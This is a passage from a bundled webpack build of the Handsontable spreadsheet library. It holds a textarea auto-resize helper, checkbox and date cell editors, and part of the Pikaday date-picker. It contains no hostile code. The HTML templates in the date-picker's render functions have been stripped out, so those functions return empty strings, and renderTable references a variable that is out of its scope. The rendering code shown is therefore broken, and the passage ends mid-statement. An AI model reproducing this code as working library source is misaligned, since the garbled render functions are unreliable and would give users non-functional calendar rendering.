getComputedStyle(el).fontSize; span.style.fontFamily = getComputedStyle(el).fontFamily; span.style.whiteSpace = "pre"; body.appendChild(span); width = span.clientWidth + 2; body.removeChild(span); el.style.height = defaults.minHeight + 'px'; if (defaults.minWidth > width) { el.style.width = defaults.minWidth + 'px'; } else if (width > defaults.maxWidth) { el.style.width = defaults.maxWidth + 'px'; } else { el.style.width = width + 'px'; } scrollHeight = el.scrollHeight ? el.scrollHeight - 1 : 0; if (defaults.minHeight > scrollHeight) { el.style.height = defaults.minHeight + 'px'; } else if (defaults.maxHeight < scrollHeight) { el.style.height = defaults.maxHeight + 'px'; el.style.overflowY = 'visible'; } else { el.style.height = scrollHeight + 'px'; } }, delayedResize = function delayedResize() { window.setTimeout(resize, 0); }, extendDefaults = function extendDefaults(config) { if (config && config.minHeight) { if (config.minHeight == 'inherit') { defaults.minHeight = el.clientHeight; } else { var minHeight = parseInt(config.minHeight); if (!isNaN(minHeight)) { defaults.minHeight = minHeight; } } } if (config && config.maxHeight) { if (config.maxHeight == 'inherit') { defaults.maxHeight = el.clientHeight; } else { var maxHeight = parseInt(config.maxHeight); if (!isNaN(maxHeight)) { defaults.maxHeight = maxHeight; } } } if (config && config.minWidth) { if (config.minWidth == 'inherit') { defaults.minWidth = el.clientWidth; } else { var minWidth = parseInt(config.minWidth); if (!isNaN(minWidth)) { defaults.minWidth = minWidth; } } } if (config && config.maxWidth) { if (config.maxWidth == 'inherit') { defaults.maxWidth = el.clientWidth; } else { var maxWidth = parseInt(config.maxWidth); if (!isNaN(maxWidth)) { defaults.maxWidth = maxWidth; } } } if (!span.firstChild) { span.className = "autoResize"; span.style.display = 'inline-block'; span.appendChild(text); } }, _init = function init(el_, config, doObserve) { el = el_; extendDefaults(config); if (el.nodeName == 'TEXTAREA') { el.style.resize = 'none'; el.style.overflowY = ''; el.style.height = defaults.minHeight + 'px'; el.style.minWidth = defaults.minWidth + 'px'; el.style.maxWidth = defaults.maxWidth + 'px'; el.style.overflowY = 'hidden'; } if (doObserve) { observe(el, 'change', resize); observe(el, 'cut', delayedResize); observe(el, 'paste', delayedResize); observe(el, 'drop', delayedResize); observe(el, 'keydown', delayedResize); observe(el, 'focus', resize); observe(el, 'compositionstart', delayedResize); observe(el, 'compositionupdate', delayedResize); observe(el, 'compositionend', delayedResize); } resize(); }; function getComputedStyle(element) { return element.currentStyle || document.defaultView.getComputedStyle(element); } return { init: function init(el_, config, doObserve) { _init(el_, config, doObserve); }, unObserve: function unObserve() { _unObserve(el, 'change', resize); _unObserve(el, 'cut', delayedResize); _unObserve(el, 'paste', delayedResize); _unObserve(el, 'drop', delayedResize); _unObserve(el, 'keydown', delayedResize); _unObserve(el, 'focus', resize); _unObserve(el, 'compositionstart', delayedResize); _unObserve(el, 'compositionupdate', delayedResize); _unObserve(el, 'compositionend', delayedResize); }, resize: resize }; } if (true) { module.exports = autoResize; } /***/ }), /* 614 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _baseEditor = _interopRequireDefault(__webpack_require__(74)); var _element = __webpack_require__(1); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @editor CheckboxEditor * @class CheckboxEditor */ var CheckboxEditor = /*#__PURE__*/ function (_BaseEditor) { _inherits(CheckboxEditor, _BaseEditor); function CheckboxEditor() { _classCallCheck(this, CheckboxEditor); return _possibleConstructorReturn(this, _getPrototypeOf(CheckboxEditor).apply(this, arguments)); } _createClass(CheckboxEditor, [{ key: "beginEditing", value: function beginEditing(initialValue, event) { // Just some events connected with checkbox editor are delegated here. Some `keydown` events like `enter` and `space` key press // are handled inside `checkboxRenderer`. Some events come here from `editorManager`. Below `if` statement was created by author // for purpose of handling only `doubleclick` event which may be done on a cell with checkbox. if (event && event.type === 'mouseup') { var checkbox = this.TD.querySelector('input[type="checkbox"]'); if (!(0, _element.hasClass)(checkbox, 'htBadValue')) { checkbox.click(); } } } }, { key: "finishEditing", value: function finishEditing() {} }, { key: "init", value: function init() {} }, { key: "open", value: function open() {} }, { key: "close", value: function close() {} }, { key: "getValue", value: function getValue() {} }, { key: "setValue", value: function setValue() {} }, { key: "focus", value: function focus() {} }]); return CheckboxEditor; }(_baseEditor.default); var _default = CheckboxEditor; exports.default = _default; /***/ }), /* 615 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _moment = _interopRequireDefault(__webpack_require__(67)); var _pikaday = _interopRequireDefault(__webpack_require__(616)); __webpack_require__(619); var _element = __webpack_require__(1); var _object = __webpack_require__(2); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _unicode = __webpack_require__(32); var _event = __webpack_require__(18); var _textEditor = _interopRequireDefault(__webpack_require__(77)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @editor DateEditor * @class DateEditor * @dependencies TextEditor */ var DateEditor = /*#__PURE__*/ function (_TextEditor) { _inherits(DateEditor, _TextEditor); /** * @param {Core} hotInstance Handsontable instance * @private */ function DateEditor(hotInstance) { var _this; _classCallCheck(this, DateEditor); _this = _possibleConstructorReturn(this, _getPrototypeOf(DateEditor).call(this, hotInstance)); // TODO: Move this option to general settings _this.defaultDateFormat = 'DD/MM/YYYY'; _this.isCellEdited = false; _this.parentDestroyed = false; return _this; } _createClass(DateEditor, [{ key: "init", value: function init() { var _this2 = this; if (typeof _moment.default !== 'function') { throw new Error('You need to include moment.js to your project.'); } if (typeof _pikaday.default !== 'function') { throw new Error('You need to include Pikaday to your project.'); } _get(_getPrototypeOf(DateEditor.prototype), "init", this).call(this); this.instance.addHook('afterDestroy', function () { _this2.parentDestroyed = true; _this2.destroyElements(); }); } /** * Create data picker instance */ }, { key: "createElements", value: function createElements() { _get(_getPrototypeOf(DateEditor.prototype), "createElements", this).call(this); this.datePicker = document.createElement('DIV'); this.datePickerStyle = this.datePicker.style; this.datePickerStyle.position = 'absolute'; this.datePickerStyle.top = 0; this.datePickerStyle.left = 0; this.datePickerStyle.zIndex = 9999; (0, _element.addClass)(this.datePicker, 'htDatepickerHolder'); document.body.appendChild(this.datePicker); this.$datePicker = new _pikaday.default(this.getDatePickerConfig()); var eventManager = new _eventManager.default(this); /** * Prevent recognizing clicking on datepicker as clicking outside of table */ eventManager.addEventListener(this.datePicker, 'mousedown', function (event) { return (0, _event.stopPropagation)(event); }); this.hideDatepicker(); } /** * Destroy data picker instance */ }, { key: "destroyElements", value: function destroyElements() { this.$datePicker.destroy(); } /** * Prepare editor to appear * * @param {Number} row Row index * @param {Number} col Column index * @param {String} prop Property name (passed when datasource is an array of objects) * @param {HTMLTableCellElement} td Table cell element * @param {*} originalValue Original value * @param {Object} cellProperties Object with cell properties ({@see Core#getCellMeta}) */ }, { key: "prepare", value: function prepare(row, col, prop, td, originalValue, cellProperties) { _get(_getPrototypeOf(DateEditor.prototype), "prepare", this).call(this, row, col, prop, td, originalValue, cellProperties); } /** * Open editor * * @param {Event} [event=null] */ }, { key: "open", value: function open() { var event = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; _get(_getPrototypeOf(DateEditor.prototype), "open", this).call(this); this.showDatepicker(event); } /** * Close editor */ }, { key: "close", value: function close() { var _this3 = this; this._opened = false; this.instance._registerTimeout(function () { _this3.instance._refreshBorders(); }); _get(_getPrototypeOf(DateEditor.prototype), "close", this).call(this); } /** * @param {Boolean} [isCancelled=false] * @param {Boolean} [ctrlDown=false] */ }, { key: "finishEditing", value: function finishEditing() { var isCancelled = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var ctrlDown = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; if (isCancelled) { // pressed ESC, restore original value // var value = this.instance.getDataAtCell(this.row, this.col); var value = this.originalValue; if (value !== void 0) { this.setValue(value); } } this.hideDatepicker(); _get(_getPrototypeOf(DateEditor.prototype), "finishEditing", this).call(this, isCancelled, ctrlDown); } /** * Show data picker * * @param {Event} event */ }, { key: "showDatepicker", value: function showDatepicker(event) { this.$datePicker.config(this.getDatePickerConfig()); var offset = this.TD.getBoundingClientRect(); var dateFormat = this.cellProperties.dateFormat || this.defaultDateFormat; var datePickerConfig = this.$datePicker.config(); var dateStr; var isMouseDown = this.instance.view.isMouseDown(); var isMeta = event ? (0, _unicode.isMetaKey)(event.keyCode) : false; this.datePickerStyle.top = "".concat(window.pageYOffset + offset.top + (0, _element.outerHeight)(this.TD), "px"); this.datePickerStyle.left = "".concat(window.pageXOffset + offset.left, "px"); this.$datePicker._onInputFocus = function () {}; datePickerConfig.format = dateFormat; if (this.originalValue) { dateStr = this.originalValue; if ((0, _moment.default)(dateStr, dateFormat, true).isValid()) { this.$datePicker.setMoment((0, _moment.default)(dateStr, dateFormat), true); } // workaround for date/time cells - pikaday resets the cell value to 12:00 AM by default, this will overwrite the value. if (this.getValue() !== this.originalValue) { this.setValue(this.originalValue); } if (!isMeta && !isMouseDown) { this.setValue(''); } } else if (this.cellProperties.defaultDate) { dateStr = this.cellProperties.defaultDate; datePickerConfig.defaultDate = dateStr; if ((0, _moment.default)(dateStr, dateFormat, true).isValid()) { this.$datePicker.setMoment((0, _moment.default)(dateStr, dateFormat), true); } if (!isMeta && !isMouseDown) { this.setValue(''); } } else { // if a default date is not defined, set a soft-default-date: display the current day and month in the // datepicker, but don't fill the editor input this.$datePicker.gotoToday(); } this.datePickerStyle.display = 'block'; this.$datePicker.show(); } /** * Hide data picker */ }, { key: "hideDatepicker", value: function hideDatepicker() { this.datePickerStyle.display = 'none'; this.$datePicker.hide(); } /** * Get date picker options. * * @returns {Object} */ }, { key: "getDatePickerConfig", value: function getDatePickerConfig() { var _this4 = this; var htInput = this.TEXTAREA; var options = {}; if (this.cellProperties && this.cellProperties.datePickerConfig) { (0, _object.deepExtend)(options, this.cellProperties.datePickerConfig); } var origOnSelect = options.onSelect; var origOnClose = options.onClose; options.field = htInput; options.trigger = htInput; options.container = this.datePicker; options.bound = false; options.format = options.format || this.defaultDateFormat; options.reposition = options.reposition || false; options.onSelect = function (value) { var dateStr = value; if (!isNaN(dateStr.getTime())) { dateStr = (0, _moment.default)(dateStr).format(_this4.cellProperties.dateFormat || _this4.defaultDateFormat); } _this4.setValue(dateStr); _this4.hideDatepicker(); if (origOnSelect) { origOnSelect(); } }; options.onClose = function () { if (!_this4.parentDestroyed) { _this4.finishEditing(false); } if (origOnClose) { origOnClose(); } }; return options; } }]); return DateEditor; }(_textEditor.default); var _default = DateEditor; exports.default = _default; /***/ }), /* 616 */ /***/ (function(module, exports, __webpack_require__) { /*! * Pikaday * * Copyright © 2014 David Bushell | BSD & MIT license | https://github.com/dbushell/Pikaday */ (function (root, factory) { 'use strict'; var moment; if (true) { // CommonJS module // Load moment.js as an optional dependency try { moment = __webpack_require__(617); } catch (e) {} module.exports = factory(moment); } else if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(function (req) { // Load moment.js as an optional dependency var id = 'moment'; try { moment = req(id); } catch (e) {} return factory(moment); }); } else { root.Pikaday = factory(root.moment); } }(this, function (moment) { 'use strict'; /** * feature detection and helper functions */ var hasMoment = typeof moment === 'function', hasEventListeners = !!window.addEventListener, document = window.document, sto = window.setTimeout, addEvent = function(el, e, callback, capture) { if (hasEventListeners) { el.addEventListener(e, callback, !!capture); } else { el.attachEvent('on' + e, callback); } }, removeEvent = function(el, e, callback, capture) { if (hasEventListeners) { el.removeEventListener(e, callback, !!capture); } else { el.detachEvent('on' + e, callback); } }, fireEvent = function(el, eventName, data) { var ev; if (document.createEvent) { ev = document.createEvent('HTMLEvents'); ev.initEvent(eventName, true, false); ev = extend(ev, data); el.dispatchEvent(ev); } else if (document.createEventObject) { ev = document.createEventObject(); ev = extend(ev, data); el.fireEvent('on' + eventName, ev); } }, trim = function(str) { return str.trim ? str.trim() : str.replace(/^\s+|\s+$/g,''); }, hasClass = function(el, cn) { return (' ' + el.className + ' ').indexOf(' ' + cn + ' ') !== -1; }, addClass = function(el, cn) { if (!hasClass(el, cn)) { el.className = (el.className === '') ? cn : el.className + ' ' + cn; } }, removeClass = function(el, cn) { el.className = trim((' ' + el.className + ' ').replace(' ' + cn + ' ', ' ')); }, isArray = function(obj) { return (/Array/).test(Object.prototype.toString.call(obj)); }, isDate = function(obj) { return (/Date/).test(Object.prototype.toString.call(obj)) && !isNaN(obj.getTime()); }, isWeekend = function(date) { var day = date.getDay(); return day === 0 || day === 6; }, isLeapYear = function(year) { // solution by Matti Virkkunen: http://stackoverflow.com/a/4881951 return year % 4 === 0 && year % 100 !== 0 || year % 400 === 0; }, getDaysInMonth = function(year, month) { return [31, isLeapYear(year) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][month]; }, setToStartOfDay = function(date) { if (isDate(date)) date.setHours(0,0,0,0); }, compareDates = function(a,b) { // weak date comparison (use setToStartOfDay(date) to ensure correct result) return a.getTime() === b.getTime(); }, extend = function(to, from, overwrite) { var prop, hasProp; for (prop in from) { hasProp = to[prop] !== undefined; if (hasProp && typeof from[prop] === 'object' && from[prop] !== null && from[prop].nodeName === undefined) { if (isDate(from[prop])) { if (overwrite) { to[prop] = new Date(from[prop].getTime()); } } else if (isArray(from[prop])) { if (overwrite) { to[prop] = from[prop].slice(0); } } else { to[prop] = extend({}, from[prop], overwrite); } } else if (overwrite || !hasProp) { to[prop] = from[prop]; } } return to; }, adjustCalendar = function(calendar) { if (calendar.month < 0) { calendar.year -= Math.ceil(Math.abs(calendar.month)/12); calendar.month += 12; } if (calendar.month > 11) { calendar.year += Math.floor(Math.abs(calendar.month)/12); calendar.month -= 12; } return calendar; }, /** * defaults and localisation */ defaults = { // bind the picker to a form field field: null, // automatically show/hide the picker on `field` focus (default `true` if `field` is set) bound: undefined, // position of the datepicker, relative to the field (default to bottom & left) // ('bottom' & 'left' keywords are not used, 'top' & 'right' are modifier on the bottom/left position) position: 'bottom left', // automatically fit in the viewport even if it means repositioning from the position option reposition: true, // the default output format for `.toString()` and `field` value format: 'YYYY-MM-DD', // the initial date to view when first opened defaultDate: null, // make the `defaultDate` the initial selected value setDefaultDate: false, // first day of week (0: Sunday, 1: Monday etc) firstDay: 0, // the default flag for moment's strict date parsing formatStrict: false, // the minimum/earliest date that can be selected minDate: null, // the maximum/latest date that can be selected maxDate: null, // number of years either side, or array of upper/lower range yearRange: 10, // show week numbers at head of row showWeekNumber: false, // used internally (don't config outside) minYear: 0, maxYear: 9999, minMonth: undefined, maxMonth: undefined, startRange: null, endRange: null, isRTL: false, // Additional text to append to the year in the calendar title yearSuffix: '', // Render the month after year in the calendar title showMonthAfterYear: false, // Render days of the calendar grid that fall in the next or previous month showDaysInNextAndPreviousMonths: false, // how many months are visible numberOfMonths: 1, // when numberOfMonths is used, this will help you to choose where the main calendar will be (default `left`, can be set to `right`) // only used for the first display or when a selected date is not visible mainCalendar: 'left', // Specify a DOM element to render the calendar in container: undefined, // internationalization i18n: { previousMonth : 'Previous Month', nextMonth : 'Next Month', months : ['January','February','March','April','May','June','July','August','September','October','November','December'], weekdays : ['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'], weekdaysShort : ['Sun','Mon','Tue','Wed','Thu','Fri','Sat'] }, // Theme Classname theme: null, // callback function onSelect: null, onOpen: null, onClose: null, onDraw: null }, /** * templating functions to abstract HTML rendering */ renderDayName = function(opts, day, abbr) { day += opts.firstDay; while (day >= 7) { day -= 7; } return abbr ? opts.i18n.weekdaysShort[day] : opts.i18n.weekdays[day]; }, renderDay = function(opts) { var arr = []; var ariaSelected = 'false'; if (opts.isEmpty) { if (opts.showDaysInNextAndPreviousMonths) { arr.push('is-outside-current-month'); } else { return ''; } } if (opts.isDisabled) { arr.push('is-disabled'); } if (opts.isToday) { arr.push('is-today'); } if (opts.isSelected) { arr.push('is-selected'); ariaSelected = 'true'; } if (opts.isInRange) { arr.push('is-inrange'); } if (opts.isStartRange) { arr.push('is-startrange'); } if (opts.isEndRange) { arr.push('is-endrange'); } return ''; }, renderWeek = function (d, m, y) { // Lifted from http://javascript.about.com/library/blweekyear.htm, lightly modified. var onejan = new Date(y, 0, 1), weekNum = Math.ceil((((new Date(y, m, d) - onejan) / 86400000) + onejan.getDay()+1)/7); return ''; }, renderRow = function(days, isRTL) { return '' + (isRTL ? days.reverse() : days).join('') + ''; }, renderBody = function(rows) { return '' + rows.join('') + ''; }, renderHead = function(opts) { var i, arr = []; if (opts.showWeekNumber) { arr.push(''); } for (i = 0; i < 7; i++) { arr.push(''); } return '' + (opts.isRTL ? arr.reverse() : arr).join('') + ''; }, renderTitle = function(instance, c, year, month, refYear, randId) { var i, j, arr, opts = instance._o, isMinYear = year === opts.minYear, isMaxYear = year === opts.maxYear, html = '
          ', monthHtml, yearHtml, prev = true, next = true; for (arr = [], i = 0; i < 12; i++) { arr.push(''); } monthHtml = '
          ' + opts.i18n.months[month] + '
          '; if (isArray(opts.yearRange)) { i = opts.yearRange[0]; j = opts.yearRange[1] + 1; } else { i = year - opts.yearRange; j = 1 + year + opts.yearRange; } for (arr = []; i < j && i <= opts.maxYear; i++) { if (i >= opts.minYear) { arr.push(''); } } yearHtml = '
          ' + year + opts.yearSuffix + '
          '; if (opts.showMonthAfterYear) { html += yearHtml + monthHtml; } else { html += monthHtml + yearHtml; } if (isMinYear && (month === 0 || opts.minMonth >= month)) { prev = false; } if (isMaxYear && (month === 11 || opts.maxMonth <= month)) { next = false; } if (c === 0) { html += ''; } if (c === (instance._o.numberOfMonths - 1) ) { html += ''; } return html += '
          '; }, renderTable = function(opts, data, randId) { return '
          ' + '' + '' + weekNum + '
          ' + renderDayName(opts, i, true) + '
          ' + renderHead(opts) + renderBody(data) + '
          '; }, /** * Pikaday constructor */ Pikaday = function(options) { var self = this, opts = self.config(options); self._onMouseDown = function(e) { if (!self._v) { return; } e = e || window.event; var target = e.target || e.srcElement; if (!target) { return; } if (!hasClass(target, 'is-disabled')) { if (hasClass(target, 'pika-button') && !hasClass(target, 'is-empty') && !hasClass(target.parentNode, 'is-disabled')) { self.setDate(new Date(target.getAttribute('data-pika-year'), target.getAttribute('data-pika-month'), target.getAttribute('data-pika-day'))); if (opts.bound) { sto(function() { self.hide(); if (opts.field) { opts.field.blur(); } }, 100); } } else if (hasClass(target, 'pika-prev')) { self.prevMonth(); } else if (hasClass(target, 'pika-next')) { self.nextMonth(); } } if (!hasClass(target, 'pika-select')) { // if this is touch event prevent mouse events emulation if (e.preventDefault) { e.preventDefault(); } else { e.returnValue = false; return false; } } else { self._c = true; } }; self._onChange = function(e) { e = e || window.event; var target = e.target || e.srcElement; if (!target) { return; } if (hasClass(target, 'pika-select-month')) { self.gotoMonth(target.value); } else if (hasClass(target, 'pika-select-year')) { self.gotoYear(target.value); } }; self._onKeyChange = function(e) { e = e || window.event; if (self.isVisible()) { switch(e.keyCode){ case 13: case 27: opts.field.blur(); break; case 37: e.preventDefault(); self.adjustDate('subtract', 1); break; case 38: self.adjustDate('subtract', 7); break; case 39: self.adjustDate('add', 1); break; case 40: self.adjustDate('add', 7); break; } } }; self._onInputChange = function(e) { var date; if (e.firedBy === self) { return; } if (hasMoment) { date = moment(opts.field.value, opts.format, opts.formatStrict); date = (date && date.isValid()) ? date.toDate() : null; } else { date = new Date(Date.parse(opts.field.value)); } if (isDate(date)) { self.setDate(date); } if (!self._v) { self.show(); } }; self._onInputFocus = function() { self.show(); }; self._onInputClick = function() { self.show(); }; self._onInputBlur = function() { // IE allows pika div to gain focus; catch blur the input field var pEl = document.activeElement; do { if (hasClass(pEl, 'pika-single')) { return; } } while ((pEl = pEl.parentNode)); if (!self._c) { self._b = sto(function() { self.hide(); }, 50); } self._c = false; }; self._onClick = function(e) { e = e || window.event; var target = e.target || e.srcElement, pEl = target; if (!target) { return; } if (!hasEventListeners && hasClass(target, 'pika-select')) { if (!target.onchange) { target.setAttribute('onchange', 'return;'); addEvent(target, 'change', self._onChange); } } do { if (hasClass(pEl, 'pika-single') || pEl === opts.trigger) { return; } } while ((pEl = pEl.parentNode)); if (self._v && target !== opts.trigger && pEl !== opts.trigger) { self.hide(); } }; self.el = document.createElement('div'); self.el.className = 'pika-single' + (opts.isRTL ? ' is-rtl' : '') + (opts.theme ? ' ' + opts.theme : ''); addEvent(self.el, 'mousedown', self._onMouseDown, true); addEvent(self.el, 'touchend', self._onMouseDown, true); addEvent(self.el, 'change', self._onChange); addEvent(document, 'keydown', self._onKeyChange); if (opts.field) { if (opts.container) { opts.container.appendChild(self.el); } else if (opts.bound) { document.body.appendChild(self.el); } else { opts.field.parentNode.insertBefore(self.el, opts.field.nextSibling); } addEvent(opts.field, 'change', self._onInputChange); if (!opts.defaultDate) { if (hasMoment && opts.field.value) { opts.defaultDate = moment(opts.field.value, opts.format).toDate(); } else { opts.defaultDate = new Date(Date.parse(opts.field.value)); } opts.setDefaultDate = true; } } var defDate = opts.defaultDate; if (isDate(defDate)) { if (opts.setDefaultDate) { self.setDate(defDate, true); } else { self.gotoDate(defDate); } } else { self.gotoDate(new Date()); } if (opts.bound) { this.hide(); self.el.className += ' is-bound'; addEvent(opts.trigger, 'click', self._onInputClick); addEvent(opts.trigger, 'focus', self._onInputFocus); addEvent(opts.trigger, 'blur', self._onInputBlur); } else { this.show(); } }; /** * public Pikaday API */ Pikaday.prototype = { /** * configure functionality */ config: function(options) { if (!this._o) { this._o = extend({}, defaults, true); } var opts = extend(this._o, options, true); opts.isRTL = !!opts.isRTL; opts.field = (opts.field && opts.field.nodeName) ? opts.field : null; opts.theme = (typeof opts.theme) === 'string' && opts.theme ? opts.theme : null; opts.bound = !!(opts.bound !== undefined ? opts.field && opts.bound : opts.field); opts.trigger = (opts.trigger && opts.trigger.nodeName) ? opts.trigger : opts.field; opts.disableWeekends = !!opts.disableWeekends; opts.disableDayFn = (typeof opts.disableDayFn) === 'function' ? opts.disableDayFn : null; var nom = parseInt(opts.numberOfMonths, 10) || 1; opts.numberOfMonths = nom > 4 ? 4 : nom; if (!isDate(opts.minDate)) { opts.minDate = false; } if (!isDate(opts.maxDate)) { opts.maxDate = false; } if ((opts.minDate && opts.maxDate) && opts.maxDate < opts.minDate) { opts.maxDate = opts.minDate = false; } if (opts.minDate) { this.setMinDate(opts.minDate); } if (opts.maxDate) { this.setMaxDate(opts.maxDate); } if (isArray(opts.yearRange)) { var fallback = new Date().getFullYear() - 10; opts.yearRange[0] = parseInt(opts.yearRange[0], 10) || fallback; opts.yearRange[1] = parseInt(opts.yearRange[1], 10) || fallback; } else { opts.yearRange = Math.abs(parseInt(opts.yearRange, 10)) || defaults.yearRange; if (opts.yearRange > 100) { opts.yearRange = 100; } } return opts; }, /** * return a formatted string of the current selection (using Moment.js if available) */ toString: function(format) { return !isDate(this._d) ? '' : hasMoment ? moment(this._d).format(format || this._o.format) : this._d.toDateString(); }, /** * return a Moment.js object of the current selection (if available) */ getMoment: function() { return hasMoment ? moment(this._d) : null; }, /** * set the current selection from a Moment.js object (if available) */ setMoment: function(date, preventOnSelect) { if (hasMoment && moment.isMoment(date)) { this.setDate(date.toDate(), preventOnSelect); } }, /** * return a Date object of the current selection with fallback for the current date */ getDate: function() { return isDate(this._d) ? new Date(this._d.getTime()) : new Date(); }, /** * set the current selection */ setDate: function(date, preventOnSelect) { if (!date) { this._d = null; if (this._o.field) { this._o.field.value = ''; fireEvent(this._o.field, 'change', { firedBy: this }); } return this.draw(); } if (typeof date === 'string') { date = new Date(Date.parse(date)); } if (!isDate(date)) { return; } var min = this._o.minDate, max = this._o.maxDate; if (isDate(min) && date < min) { date = min; } else if (isDate(max) && date > max) { date = max; } this._d = new Date(date.getTime()); setToStartOfDay(this._d); this.gotoDate(this._d); if (this._o.field) { this._o.field.value = this.toString(); fireEvent(this._o.field, 'change', { firedBy: this }); } if (!preventOnSelect && typeof this._o.onSelect === 'function') { this._o.onSelect.call(this, this.getDate()); } }, /** * change view to a specific date */ gotoDate: function(date) { var newCalendar = true; if (!isDate(date)) { return; } if (this.calendars) { var firstVisibleDate = new Date(this.calendars[0].year, this.calendars[0].month, 1), lastVisibleDate = new Date(this.calendars[this.calendars.length-1].year, this.calendars[this.calendars.length-1].month, 1), visibleDate = date.getTime(); // get the end of the month lastVisibleDate.setMonth(lastVisibleDate.getMonth()+1); lastVisibleDate.setDate(lastVisibleDate.getDate()-1); newCalendar = (visibleDate < firstVisibleDate.getTime() || lastVisibleDate.getTime() < visibleDate); } if (newCalendar) { this.calendars = [{ month: date.getMonth(), year: date.getFullYear() }]; if (this._o.mainCalendar === 'right') { this.calendars[0].month += 1 - this._o.numberOfMonths; } } this.adjustCalendars(); }, adjustDate: function(sign, days) { var day = this.getDate(); var difference = parseInt(days)*24*60*60*1000; var newDay; if (sign === 'add') { newDay = new Date(day.valueOf() + difference); } else if (sign === 'subtract') { newDay = new Date(day.valueOf() - difference); } if (hasMoment) { if (sign === 'add') { newDay = moment(day).add(days, "days").toDate(); } else if (sign === 'subtract') { newDay = moment(day).subtract(days, "days").toDate(); } } this.setDate(newDay); }, adjustCalendars: function() { this.calendars[0] = adjustCalendar(this.calendars[0]); for (var c = 1; c < this._o.numberOfMonths; c++) { this.calendars[c] = adjustCalendar({ month: this.calendars[0].month + c, year: this.calendars[0].year }); } this.draw(); }, gotoToday: function() { this.gotoDate(new Date()); }, /** * change view to a specific month (zero-index, e.g. 0: January) */ gotoMonth: function(month) { if (!isNaN(month)) { this.calendars[0].month = parseInt(month, 10); this.adjustCalendars(); } }, nextMonth: function() { this.calendars[0].month++; this.adjustCalendars(); }, prevMonth: function() { this.calendars[0].month--; this.adjustCalendars(); }, /** * change view to a specific full year (e.g. "2012") */ gotoYear: function(year) { if (!isNaN(year)) { this.calendars[0].year = parseInt(year, 10); this.adjustCalendars(); } }, /** * change the minDate */ setMinDate: function(value) { if(value instanceof Date) { setToStartOfDay(value); this._o.minDate = value; this._o.minYear = 